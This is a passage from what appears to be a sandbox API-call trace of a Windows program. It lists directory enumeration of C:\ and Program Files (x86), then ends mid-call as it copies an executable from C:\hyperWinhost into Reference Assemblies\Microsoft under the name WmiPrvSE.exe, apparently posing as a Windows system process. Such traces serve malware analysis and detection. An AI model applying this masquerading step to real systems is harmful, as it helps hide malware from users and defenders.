nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5b5feb40, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x5b5feb40, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.661] FindClose (in: hFindFile=0x1bfbf050 | out: hFindFile=0x1bfbf050) returned 1 [0086.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0086.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0086.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0086.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0086.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbf050 [0086.662] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.662] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9d03b80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d03b80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0086.662] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1063b30, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4399b030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4399b030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39960750, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9d29ce0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d29ce0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4a571440, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4a571440, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.664] FindClose (in: hFindFile=0x1bfbf050 | out: hFindFile=0x1bfbf050) returned 1 [0086.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0086.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0086.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0086.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies", lpFilePart=0x0) returned 0x2b [0086.665] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*" (normalized: "c:\\program files (x86)\\reference assemblies\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbf050 [0086.665] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.665] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0086.665] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.666] FindClose (in: hFindFile=0x1bfbf050 | out: hFindFile=0x1bfbf050) returned 1 [0086.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0086.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0086.666] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0086.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe", lpFilePart=0x0) returned 0x42 [0086.666] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe"), 